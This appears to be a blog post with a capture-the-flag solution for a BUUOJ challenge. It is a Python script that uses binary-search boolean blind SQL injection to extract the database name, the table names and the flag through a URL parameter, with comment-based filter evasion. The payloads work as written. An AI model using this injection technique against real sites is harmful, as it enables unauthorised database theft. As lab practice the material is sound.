0
点赞
收藏
分享

微信扫一扫

[BUUOJ][WUSTCTF2020]颜值成绩查询 ---二分法

宁静的猫 2022-10-27 阅读 78


import requests

url = "http://93b7e81c-3dd4-4eaf-9ddf-8342b4e4bc7a.node3.buuoj.cn/?stunum="

result = ""
i = 0

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) >> 1

# payload = "if(ascii(substr(database(),%d,1))>%d,1,0)" % (i , mid)
# payload = "if(ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database())),%d,1))>%d,1,0)" % (i , mid)
payload = "if(ascii(substr((select(value)from(flag)),%d,1))>%d,1,0)" % (
i, mid)

r = requests.get(url + payload)
r.encoding = "utf-8"
# print(url+payload)
if "your score is: 100" in r.text:
head = mid + 1
else:
# print(r.text)
tail = mid

last = result

if head != 32:
result += chr(head)
else:
break
print(result)


举报

相关推荐

0 条评论